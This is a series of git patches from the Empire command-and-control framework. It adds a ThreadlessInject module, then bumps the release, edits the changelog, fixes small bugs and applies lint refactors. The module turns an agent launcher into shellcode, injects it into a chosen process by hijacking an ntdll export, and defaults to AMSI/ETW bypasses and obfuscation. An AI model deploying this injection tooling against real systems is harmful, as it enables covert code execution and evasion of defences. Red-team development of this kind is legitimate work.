zb2lHF5^&mo`?6lU&)+s-Nyd_*rMKC)w~HHm$gv^wwdO zCh&&d`@g*I^U6ut8*e#!=gE6<%s zTliB{`&FeiB>~#C=hka73l*VsEzL)O6+Cqec?}yGN<;hLSNgB_t&C9L3HNU;;z)!kt&bJ?d)ijP(}YQd@hb zt&;C6XBA`{vI|D^Nlnh`W$a~6&NL~y> z=$4U5yWcE7GrsSx#hb3}AE7fP&&dAtxqhoOWtxX#Y+nvJ(>3m^ezPWQd8=~W(6LLx zk342Pzp~AzUv%H~@7M1MD1N|M_*~zEuMd3k)b^tA@_*g;&hyVzrR@7|>8XXEbvxer z?72tJF1q*aclIt4J|b17I&@AT{QE7uOCUA zeej*~=)4ZrJBo+r#9!$6*wWMYSMKwB^~CW+{}+1xJ^hJ$j>Ro2-~DP-;)2x&uY0s* zeB!TVd)sW!9)13ipN&%&Pwjr|lB44{b@X+oyq?o%cl_|<*Q?HcYWsNHv=KkvdBfZf z?lRT$l$x9|{u58h?W!!X{8v0Bk0f`~lQnM`sQzC-U4sEAW~jwC-GR_TWdF@3qC98!)xF@Z49| zca69u?eyVymycNSFV(B?l*Oy zU&cHe@aV$Y7JHI@>ULARA;tciR(`+m+RsDR=-w&ndvn_vLAHnL2G1Y8Xy9Z@&D;=h zXyEbqXY*V^{eRo@x9?s&o$_3%rFQsR{VNYm*dDcT|6BJawAxqt_S&O!2lkkdQxMee zHNT$*j-x{>3oHqXw97GLEylK$dExTE@RCgv>~kUM-9D>bxPwzEHIDq5fPG*Wgb-9 zt)|Q6-R0SY>j=f4ujkAA8X7i~w2LINyfx|jpq+_Bdvti?j^AHQed+5CA1&T9Ds0Ew z=WjkTZQJ05Ys==_U?;g4Qlk11NA9^ePAN%yfPmO%U5dC8QyshgeA3u_&&zo$! zHP^kd_vWG2o$myMjQ*i@#yt@e+II;qf9R2st4F?>G{-uToKv@aG)22%#_~H_b!I<`jEI>Y`;XgvO$443o53hxQxs{(H?^ zCZ9REcHZXPL1j1I{9W5N`wksAw(Im4%fh9+>+X5v=Bya&(Lo;!nf%NY)6>zeyPY@Q z{9xY9C$%5$S-JD0HfwJDt*hb4i7j7$I>K1=RQ_tIy7Zpj(}HGfo__CzCA%K@tY5+^ z&4XXunlbv9*&FV6mt=fhvVL`Zx#i{E(I4FWeDU<;mG32X-1YqXTWmM~SiBy^egA2z R_a_%F4351WzeFbf{y%ehBQpR1 literal 0 HcmV?d00001 diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject new file mode 160000 index 000000000..0c8ea4acd --- /dev/null +++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject @@ -0,0 +1 @@ +Subproject commit 0c8ea4acd90c35d5cb603aae0349af25cdc0cd58 diff --git a/empire/server/modules/csharp/ThreadlessInject.Covenant.py b/empire/server/modules/csharp/ThreadlessInject.Covenant.py new file mode 100644 index 000000000..339d6c269 --- /dev/null +++ b/empire/server/modules/csharp/ThreadlessInject.Covenant.py @@ -0,0 +1,120 @@ +from empire.server.core.exceptions import ( + ModuleValidationException, +) + +try: + import donut +except ModuleNotFoundError: + donut = None + +import yaml + +from empire.server.common import helpers +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + # staging options + listener_name = params["Listener"] + pid = params["pid"] + user_agent = params["UserAgent"] + proxy = params["Proxy"] + proxy_creds = params["ProxyCreds"] + launcher_obfuscation_command = params["ObfuscateCommand"] + language = params["Language"] + dot_net_version = params["DotNetVersion"].lower() + arch = params["Architecture"] + launcher_obfuscation = params["Obfuscate"] + export = params["ExportFunction"] + dll = params["dll"] + + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): + raise ModuleValidationException("[!] Invalid listener: " + listener_name) + + launcher = main_menu.stagers.generate_launcher( + listener_name, + language=language, + encode=False, + obfuscate=launcher_obfuscation, + obfuscation_command=launcher_obfuscation_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + ) + + if not launcher or launcher == "" or launcher.lower() == "failed": + raise ModuleValidationException("[!] Invalid listener: " + listener_name) + + if language.lower() == "powershell": + shellcode, err = main_menu.stagers.generate_powershell_shellcode( + launcher, arch=arch, dot_net_version=dot_net_version + ) + if err: + raise ModuleValidationException(err) + + elif language.lower() == "csharp": + if arch == "x86": + arch_type = 1 + elif arch == "x64": + arch_type = 2 + elif arch == "both": + arch_type = 3 + directory = f"{main_menu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" + + if not donut: + raise ModuleValidationException( + "module donut-shellcode not installed. It is only supported on x86." + ) + + shellcode = donut.create(file=directory, arch=arch_type) + + elif language.lower() == "ironpython": + if dot_net_version == "net35": + ModuleValidationException( + "[!] IronPython agent only supports NetFramework 4.0 and above." + ) + shellcode = main_menu.stagers.generate_python_shellcode( + launcher, arch=arch, dot_net_version="net40" + ) + + base64_shellcode = helpers.encode_base64(shellcode).decode("UTF-8") + + compiler = main_menu.pluginsv2.get_by_id("csharpserver") + if compiler.status != "ON": + raise ModuleValidationException("csharpserver plugin not running") + + # Convert compiler.yaml to python dict + compiler_dict: dict = yaml.safe_load(module.compiler_yaml) + # delete the 'Empire' key + del compiler_dict[0]["Empire"] + # convert back to yaml string + compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False) + + file_name = compiler.do_send_message( + compiler_yaml, module.name, confuse=obfuscate + ) + if file_name == "failed": + raise ModuleValidationException("module compile failed") + + script_file = ( + main_menu.installPath + + "/csharp/Covenant/Data/Tasks/CSharp/Compiled/" + + (params["DotNetVersion"]).lower() + + "/" + + file_name + + ".compiled" + ) + + script_end = ( + f",--shellcode={base64_shellcode} --pid={pid} --dll={dll} --export={export}" + ) + return f"{script_file}|{script_end}", None diff --git a/empire/server/modules/csharp/ThreadlessInject.Covenant.yaml b/empire/server/modules/csharp/ThreadlessInject.Covenant.yaml new file mode 100644 index 000000000..51bab8527 --- /dev/null +++ b/empire/server/modules/csharp/ThreadlessInject.Covenant.yaml @@ -0,0 +1,175 @@ +- Name: ThreadlessInject + Aliases: [] + Description: | + The program is designed to perform process injection. + Author: + Name: Ceri Coburn + Handle: Cobb + Link: https://twitter.com/_EthicalChaos_ + Help: + Language: CSharp + CompatibleDotNetVersions: + - Net40 + Code: | + using System; + using System.IO; + + using ThreadlessInject; + + public static class Task + { + public static Stream OutputStream { get; set; } + public static string Execute(string Command) + { + try + { + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + StreamWriter stdOutWriter = new StreamWriter(OutputStream); + StreamWriter stdErrWriter = new StreamWriter(OutputStream); + stdOutWriter.AutoFlush = true; + stdErrWriter.AutoFlush = true; + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + string[] args = Command.Split(' '); + ThreadlessInject.Program.Main(args); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + OutputStream.Close(); + return ""; + } + + catch (Exception e) + { + if (OutputStream != null) + { + OutputStream.Close(); + } + return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; + } + } + } + TaskingType: Assembly + UnsafeCompile: false + TokenTask: false + Options: [] + ReferenceSourceLibraries: + - Name: ThreadlessInject + Description: The program is designed to perform process injection. + Location: ThreadlessInject\ + Language: CSharp + CompatibleDotNetVersions: + - Net40 + ReferenceAssemblies: + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: System.Data.dll + Location: net40\System.Data.dll + DotNetVersion: Net40 + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.Drawing.dll + Location: net40\System.Drawing.dll + DotNetVersion: Net40 + - Name: System.Runtime.Serialization.dll + Location: net40\System.Runtime.Serialization.dll + DotNetVersion: Net40 + - Name: System.Xml.dll + Location: net40\System.XML.dll + DotNetVersion: Net40 + - Name: System.Xml.Linq.dll + Location: net40\System.Xml.Linq.dll + DotNetVersion: Net40 + EmbeddedResources: [] + ReferenceAssemblies: [] + EmbeddedResources: [] + Empire: + tactics: [] + software: '' + techniques: + - T1055 + background: true + output_extension: + needs_admin: false + opsec_safe: false + comments: + - https://github.com/3xpl01tc0d3r/ProcessInjection + options: + - name: Listener + description: Listener to use. + required: true + value: '' + - name: Language + description: Language of the stager to generate + required: true + value: powershell + strict: true + suggested_values: + - powershell + - csharp + - ironpython + - name: Obfuscate + description: Obfuscate the launcher powershell code, uses the ObfuscateCommand + for obfuscation types. For powershell only. + required: false + value: 'False' + strict: true + suggested_values: + - True + - False + - name: ObfuscateCommand + description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch + is True. For powershell only. + required: false + value: Token\All\1 + - name: Bypasses + description: Bypasses as a space separated list to be prepended to the launcher. + required: false + value: 'mattifestation etw' + - name: UserAgent + description: User-agent string to use for the staging request (default, none, or + other). + required: false + value: default + - name: Proxy + description: Proxy to use for request (default, none, or other). + required: false + value: default + - name: ProxyCreds + description: Proxy credentials ([domain\]username:password) to use for request (default, + none, or other). + required: false + value: default + - name: pid + description: Specify the process id. + required: true + value: '' + - name: Architecture + description: Architecture of the .dll to generate (x64 or x86). + required: true + value: both + strict: true + suggested_values: + - x64 + - x86 + - both + - name: ExportFunction + description: The exported function that will be hijacked. + required: true + value: 'NtTerminateProcess' + - name: dll + description: The DLL that that contains the export to patch. + required: true + value: 'ntdll.dll' + advanced: + custom_generate: true From f1569d971bcf0ce77c5a9b66cce0134bb762350d Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Sun, 14 Jul 2024 20:15:39 +0000 Subject: [PATCH 17/26] Prepare release 5.11.0 private --- CHANGELOG.md | 9 ++++++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0528f5325..7fbf7454e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,7 +14,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.11.0] - 2024-07-14 + ### Added + - Added threaded jobs for powershell tasks using Appdomains (@Cx01N) - Added job tracking for all tasks in Sharpire (@Cx01N) - Updated agents to track all tasks and removed only tracking jobs (@Cx01N) @@ -22,6 +25,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added ThreadlessInject module (@Cx01N) ### Fixed + - Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) - Fixed task bundling for the c# server plugin (@Cx01N) - Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) @@ -31,6 +35,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed NET45 files not being removed on server reset (@Cx01N) ### Changed + - Converted C# server plugin to use plugin taskings (@Cx01N) - Upgraded Ruff to 0.5.0 and Black to 24.4.2 (@Vinnybod) - Added pylint-convention (PLC), pylint-error (PLE), pylint-warning (PLW), and pylint-refactor (PLR) to ruff config (@Vinnybod) @@ -871,7 +876,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.10.3...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.0...HEAD + +[5.11.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.10.3...v5.11.0 [5.10.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.10.2...v5.10.3 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 4a4ffdd40..a6d88a6c9 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -38,7 +38,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.10.3 BC Security Fork" +VERSION = "5.11.0 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index 3dc2bd52c..0b68236fe 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.10.3" +version = "5.11.0" description = "" authors = ["BC Security "] readme = "README.md" From 31f6d8f79cd452498ddb46a7e911b00ca79dbacb Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Sat, 20 Jul 2024 14:08:15 -0400 Subject: [PATCH 18/26] Fixed job tasking for sharpire agent (#855) * fixed job tasking for sharpire agent * added changelog --- CHANGELOG.md | 6 ++++-- .../csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7fbf7454e..45070e15d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Fixed + +- Fixed issue of Sharpire taskings not getting assigned correct id (@Cx01N) + ## [5.11.0] - 2024-07-14 ### Added @@ -28,9 +32,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) - Fixed task bundling for the c# server plugin (@Cx01N) -- Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) - Fixed missing New-GPOImmediateTask in powerview (@Cx01N) -- Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) - Fixed NET45 missing folder causing a compilation error (@Cx01N) - Fixed NET45 files not being removed on server reset (@Cx01N) diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire index c6f19540b..e22da60f4 160000 --- a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire +++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire @@ -1 +1 @@ -Subproject commit c6f19540ba2dbf6e743e06bdde08a25b82eae704 +Subproject commit e22da60f40c8e5b0268ab601bc848f1415bb9848 From 872be8893e77df8b37983e1f32a469fd7d821a1a Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Sat, 20 Jul 2024 14:28:37 -0400 Subject: [PATCH 19/26] removed duplicate code for ironpython agent loading libraries (#856) --- CHANGELOG.md | 2 +- .../Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs | 5 ----- 2 files changed, 1 insertion(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 45070e15d..c6b90b6f6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,7 +15,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ### Fixed - +- Removed duplicate code for ironpython agent for loading path resetting (@Cx01N) - Fixed issue of Sharpire taskings not getting assigned correct id (@Cx01N) ## [5.11.0] - 2024-07-14 diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs index 1106d418c..5bec75123 100644 --- a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs +++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs @@ -32,11 +32,6 @@ public static void Agent(string PyCode) sysScope.meta_path.append(importer); sysScope.path.append(importer); - // Clear search paths (if they exist) and add our library - sysScope.path.clear(); - sysScope.meta_path.append(importer); - sysScope.path.append(importer); - //execute ironpython code var script = engine.CreateScriptSourceFromString(PyCode, SourceCodeKind.Statements); script.Execute(); From 49050d15bb35af62c4db5fbd88b9f4c2af4db0f7 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sun, 21 Jul 2024 11:03:48 -0700 Subject: [PATCH 20/26] Add FURB, SLF, RET to Ruff (#857) * update ruff * fix after updating * add RUF * FURB * SLF * RET autofixes * RET * changelog * run black * fix noqa * update ruff in ci * check for pyenv 2.* --- .../cst-config-install-base.yaml | 2 +- .github/workflows/lint-and-test.yml | 2 +- .pre-commit-config.yaml | 2 +- CHANGELOG.md | 5 + empire/client/src/utils/print_util.py | 6 +- empire/client/src/utils/table_util.py | 8 +- empire/server/api/jwt_auth.py | 3 +- empire/server/api/middleware.py | 6 +- empire/server/api/v2/agent/agent_task_api.py | 14 +- empire/server/api/v2/listener/listener_api.py | 10 +- empire/server/api/v2/shared_dto.py | 12 +- empire/server/api/v2/websocket/socketio.py | 2 +- empire/server/common/agents.py | 88 +-- empire/server/common/encryption.py | 29 +- empire/server/common/helpers.py | 44 +- empire/server/common/packets.py | 3 +- empire/server/common/stagers.py | 57 +- empire/server/core/agent_service.py | 4 +- empire/server/core/agent_task_service.py | 14 +- empire/server/core/db/defaults.py | 8 +- empire/server/core/db/models.py | 12 +- empire/server/core/download_service.py | 2 +- empire/server/core/hooks.py | 2 +- empire/server/core/listener_service.py | 46 +- empire/server/core/module_service.py | 38 +- empire/server/core/obfuscation_service.py | 13 +- empire/server/listeners/dbx.py | 16 +- empire/server/listeners/http.py | 36 +- empire/server/listeners/http_com.py | 14 +- empire/server/listeners/http_foreign.py | 12 +- empire/server/listeners/http_hop.py | 13 +- empire/server/listeners/http_malleable.py | 7 +- empire/server/listeners/onedrive.py | 10 +- empire/server/listeners/port_forward_pivot.py | 21 +- empire/server/listeners/smb.py | 17 +- empire/server/listeners/template.py | 4 + .../powershell/code_execution/invoke_ntsd.py | 3 +- .../invoke_reflectivepeinjection.py | 3 +- .../code_execution/invoke_shellcode.py | 3 +- .../code_execution/invoke_shellcodemsil.py | 3 +- .../collection/get_sql_column_sample_data.py | 3 +- .../powershell/collection/packet_capture.py | 3 +- .../powershell/collection/screenshot.py | 3 +- .../credentials/mimikatz/dcsync_hashdump.py | 3 +- .../credentials/mimikatz/golden_ticket.py | 3 +- .../credentials/mimikatz/lsadump.py | 3 +- .../credentials/mimikatz/mimitokens.py | 3 +- .../powershell/credentials/mimikatz/pth.py | 3 +- .../credentials/mimikatz/silver_ticket.py | 3 +- .../credentials/mimikatz/trust_keys.py | 3 +- .../modules/powershell/credentials/tokens.py | 3 +- .../powershell/exfiltration/PSRansom.py | 3 +- .../exploitation/exploit_eternalblue.py | 3 +- .../lateral_movement/inveigh_relay.py | 3 +- .../lateral_movement/invoke_dcom.py | 3 +- .../lateral_movement/invoke_executemsbuild.py | 3 +- .../lateral_movement/invoke_psexec.py | 3 +- .../lateral_movement/invoke_psremoting.py | 3 +- .../lateral_movement/invoke_smbexec.py | 3 +- .../lateral_movement/invoke_sqloscmd.py | 3 +- .../lateral_movement/invoke_sshcommand.py | 3 +- .../powershell/lateral_movement/invoke_wmi.py | 3 +- .../lateral_movement/invoke_wmi_debugger.py | 3 +- .../jenkins_script_console.py | 3 +- .../new_gpo_immediate_task.py | 3 +- .../powershell/management/invoke_bypass.py | 3 +- .../powershell/management/invoke_script.py | 3 +- .../modules/powershell/management/logoff.py | 3 +- .../management/mailraider/disable_security.py | 3 +- .../management/mailraider/get_emailitems.py | 3 +- .../modules/powershell/management/psinject.py | 3 +- .../management/reflective_inject.py | 3 +- .../modules/powershell/management/runas.py | 3 +- .../modules/powershell/management/shinject.py | 3 +- .../modules/powershell/management/spawn.py | 3 +- .../modules/powershell/management/spawnas.py | 3 +- .../powershell/management/switch_listener.py | 3 +- .../powershell/management/user_to_sid.py | 3 +- .../persistence/elevated/registry.py | 6 +- .../persistence/elevated/schtasks.py | 6 +- .../powershell/persistence/elevated/wmi.py | 6 +- .../persistence/elevated/wmi_updater.py | 6 +- .../persistence/misc/add_sid_history.py | 3 +- .../powershell/persistence/misc/debugger.py | 6 +- .../persistence/powerbreach/deaduser.py | 3 +- .../persistence/powerbreach/eventlog.py | 3 +- .../persistence/powerbreach/resolver.py | 3 +- .../persistence/userland/backdoor_lnk.py | 3 +- .../persistence/userland/registry.py | 6 +- .../persistence/userland/schtasks.py | 6 +- .../server/modules/powershell/privesc/ask.py | 3 +- .../modules/powershell/privesc/bypassuac.py | 3 +- .../powershell/privesc/bypassuac_env.py | 3 +- .../powershell/privesc/bypassuac_eventvwr.py | 3 +- .../powershell/privesc/bypassuac_fodhelper.py | 3 +- .../privesc/bypassuac_sdctlbypass.py | 3 +- .../privesc/bypassuac_tokenmanipulation.py | 3 +- .../powershell/privesc/bypassuac_wscript.py | 3 +- .../modules/powershell/privesc/ms16-032.py | 3 +- .../modules/powershell/privesc/ms16-135.py | 3 +- .../privesc/powerup/service_exe_stager.py | 3 +- .../privesc/powerup/service_stager.py | 3 +- .../privesc/powerup/write_dllhijacker.py | 3 +- .../powershell/recon/fetch_brute_local.py | 3 +- .../modules/powershell/recon/find_fruit.py | 3 +- .../recon/get_sql_server_login_default_pw.py | 3 +- .../host/computerdetails.py | 18 +- .../network/get_sql_server_info.py | 3 +- .../network/powerview/get_gpo_computer.py | 4 +- .../network/powerview/get_subnet_ranges.py | 4 +- empire/server/modules/powershell_template.py | 4 +- .../collection/osx/native_screenshot_mss.py | 4 +- .../lateral_movement/multi/ssh_launcher.py | 4 +- .../modules/python/management/multi/spawn.py | 4 +- .../management/osx/shellcodeinject64.py | 4 +- .../python/persistence/multi/desktopfile.py | 4 +- .../python/persistence/osx/CreateHijacker.py | 4 +- .../python/persistence/osx/LaunchAgent.py | 4 +- .../osx/LaunchAgentUserLandPersistence.py | 4 +- .../python/persistence/osx/loginhook.py | 4 +- .../modules/python/persistence/osx/mail.py | 4 +- .../python/privesc/multi/CVE-2021-3560.py | 4 +- .../python/privesc/multi/CVE-2021-4034.py | 4 +- .../modules/python/privesc/multi/bashdoor.py | 4 +- .../python/privesc/multi/sudo_spawn.py | 4 +- .../python/privesc/osx/dyld_print_to_file.py | 4 +- .../modules/python/privesc/osx/piggyback.py | 4 +- empire/server/modules/python_jobs_template.py | 4 +- .../basic_reporting/basic_reporting.py | 12 +- .../plugins/csharpserver/csharpserver.py | 9 +- empire/server/plugins/example/example.py | 3 +- .../reverseshell_stager_server.py | 17 +- .../websockify_server/websockify_server.py | 14 +- empire/server/stagers/multi/macro.py | 7 +- empire/server/stagers/multi/pyinstaller.py | 4 +- empire/server/stagers/osx/applescript.py | 3 +- empire/server/stagers/osx/application.py | 3 +- empire/server/stagers/osx/dylib.py | 3 +- empire/server/stagers/osx/jar.py | 3 +- empire/server/stagers/osx/macho.py | 3 +- empire/server/stagers/osx/macro.py | 3 +- empire/server/stagers/osx/pkg.py | 3 +- empire/server/stagers/osx/safari_launcher.py | 3 +- .../stagers/windows/backdoorLnkMacro.py | 3 +- empire/server/stagers/windows/cmd_exec.py | 4 +- empire/server/stagers/windows/csharp_exe.py | 9 +- empire/server/stagers/windows/dll.py | 3 +- empire/server/stagers/windows/nim.py | 3 +- empire/server/stagers/windows/reverseshell.py | 4 +- empire/server/stagers/windows/shellcode.py | 19 +- empire/server/stagers/windows/teensy.py | 174 ++--- empire/server/stagers/windows/wmic.py | 18 +- empire/server/utils/data_util.py | 7 +- empire/server/utils/datetime_util.py | 3 +- empire/server/utils/listener_util.py | 8 +- empire/server/utils/math_util.py | 3 +- empire/server/utils/option_util.py | 14 +- empire/test/conftest.py | 3 +- empire/test/test_agents.py | 9 +- empire/test/test_logs.py | 20 +- poetry.lock | 646 +++++++++--------- pyproject.toml | 46 +- 162 files changed, 925 insertions(+), 1075 deletions(-) diff --git a/.github/install_tests/cst-config-install-base.yaml b/.github/install_tests/cst-config-install-base.yaml index 4bce95cbb..d79acc82a 100644 --- a/.github/install_tests/cst-config-install-base.yaml +++ b/.github/install_tests/cst-config-install-base.yaml @@ -8,7 +8,7 @@ commandTests: - name: "pyenv version" command: "pyenv" args: ["--version"] - expectedOutput: ["pyenv 2.3.*"] + expectedOutput: ["pyenv 2.*"] # poetry - name: "poetry python" command: "poetry" diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index d6ee75f5b..710a5aebd 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -15,7 +15,7 @@ jobs: - uses: psf/black@24.4.2 - name: Run ruff run: | - pip install ruff==0.5.0 + pip install ruff==0.5.3 ruff check . matrix-prep-config: runs-on: ubuntu-latest diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index ed3a56c47..2d357c1a6 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -9,7 +9,7 @@ repos: - id: end-of-file-fixer - repo: https://github.com/astral-sh/ruff-pre-commit - rev: v0.2.1 + rev: v0.5.3 hooks: - id: ruff args: [--fix, --exit-non-zero-on-fix] diff --git a/CHANGELOG.md b/CHANGELOG.md index c6b90b6f6..b525c758d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,7 +14,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Changed + +- Updated Ruff to 0.5.3 and added additional Ruff rules (@Vinnybod) + ### Fixed + - Removed duplicate code for ironpython agent for loading path resetting (@Cx01N) - Fixed issue of Sharpire taskings not getting assigned correct id (@Cx01N) diff --git a/empire/client/src/utils/print_util.py b/empire/client/src/utils/print_util.py index 8a3193b7f..d08987bae 100644 --- a/empire/client/src/utils/print_util.py +++ b/empire/client/src/utils/print_util.py @@ -92,15 +92,15 @@ def title(version, server, modules, listeners, agents): """ ) print(" " + color(str(modules), "green") + " modules currently loaded") - print("") + print() print( " " + color(str(listeners), "green") + " listeners currently active" ) - print("") + print() print(" " + color(str(agents), "green") + " agents currently active") - print("") + print() print(color("Starkiller is now the recommended way to use Empire.", "green")) print(color(f"Try it out at {server}/index.html", "green")) diff --git a/empire/client/src/utils/table_util.py b/empire/client/src/utils/table_util.py index 285292934..097947f02 100644 --- a/empire/client/src/utils/table_util.py +++ b/empire/client/src/utils/table_util.py @@ -37,11 +37,11 @@ def print_table( table.inner_footing_row_border = False table.inner_heading_row_border = False - print("") + print() print(table.table) if end_space: - print("") + print() def print_agent_table( @@ -86,6 +86,6 @@ def print_agent_table( table.inner_footing_row_border = False table.inner_heading_row_border = False - print("") + print() print(table.table) - print("") + print() diff --git a/empire/server/api/jwt_auth.py b/empire/server/api/jwt_auth.py index de20a6c32..992a23450 100644 --- a/empire/server/api/jwt_auth.py +++ b/empire/server/api/jwt_auth.py @@ -65,8 +65,7 @@ def create_access_token(data: dict, expires_delta: timedelta | None = None): else: expire = datetime.utcnow() + timedelta(minutes=15) to_encode.update({"exp": expire}) - encoded_jwt = jwt.encode(to_encode, SECRET_KEY, algorithm=ALGORITHM) - return encoded_jwt + return jwt.encode(to_encode, SECRET_KEY, algorithm=ALGORITHM) async def get_current_user( diff --git a/empire/server/api/middleware.py b/empire/server/api/middleware.py index 7c9038aa3..c9abc8354 100644 --- a/empire/server/api/middleware.py +++ b/empire/server/api/middleware.py @@ -35,6 +35,6 @@ async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: if not scope.get("path", "").startswith("/socket.io"): await super().__call__(scope, receive, send) return - else: - await self.app(scope, receive, send) - return + + await self.app(scope, receive, send) + return diff --git a/empire/server/api/v2/agent/agent_task_api.py b/empire/server/api/v2/agent/agent_task_api.py index 5c3c24269..c54f56e35 100644 --- a/empire/server/api/v2/agent/agent_task_api.py +++ b/empire/server/api/v2/agent/agent_task_api.py @@ -560,11 +560,11 @@ async def create_task_socks( ): if is_port_in_use(socks.port): raise HTTPException(status_code=400, detail="Socks port is in use") - else: - resp, err = agent_task_service.create_task_socks( - db, db_agent, socks.port, current_user.id - ) - if err: - raise HTTPException(status_code=400, detail=err) - return domain_to_dto_task(resp) + resp, err = agent_task_service.create_task_socks( + db, db_agent, socks.port, current_user.id + ) + if err: + raise HTTPException(status_code=400, detail=err) + + return domain_to_dto_task(resp) diff --git a/empire/server/api/v2/listener/listener_api.py b/empire/server/api/v2/listener/listener_api.py index e5d5e1482..56ca2b40a 100644 --- a/empire/server/api/v2/listener/listener_api.py +++ b/empire/server/api/v2/listener/listener_api.py @@ -90,12 +90,12 @@ async def update_listener( raise HTTPException(status_code=400, detail=err) return domain_to_dto_listener(resp) - elif listener_req.enabled and db_listener.enabled: + if listener_req.enabled and db_listener.enabled: # err already running / cannot update raise HTTPException( status_code=400, detail="Listener must be disabled before modifying" ) - elif not listener_req.enabled and db_listener.enabled: + if not listener_req.enabled and db_listener.enabled: # disable and update listener_service.stop_listener(db_listener) resp, err = listener_service.update_listener(db, db_listener, listener_req) @@ -104,7 +104,7 @@ async def update_listener( raise HTTPException(status_code=400, detail=err) return domain_to_dto_listener(resp) - elif not listener_req.enabled and not db_listener.enabled: + if not listener_req.enabled and not db_listener.enabled: # update resp, err = listener_service.update_listener(db, db_listener, listener_req) @@ -112,8 +112,8 @@ async def update_listener( raise HTTPException(status_code=400, detail=err) return domain_to_dto_listener(resp) - else: - raise HTTPException(status_code=500, detail="This Shouldn't Happen") + + raise HTTPException(status_code=500, detail="This Shouldn't Happen") @router.delete( diff --git a/empire/server/api/v2/shared_dto.py b/empire/server/api/v2/shared_dto.py index 7664c0f4a..2ea0654c2 100644 --- a/empire/server/api/v2/shared_dto.py +++ b/empire/server/api/v2/shared_dto.py @@ -78,16 +78,16 @@ def to_value_type(value: Any, type: str = "") -> ValueType: type = type or "" if type.lower() == "file": return ValueType.file - elif 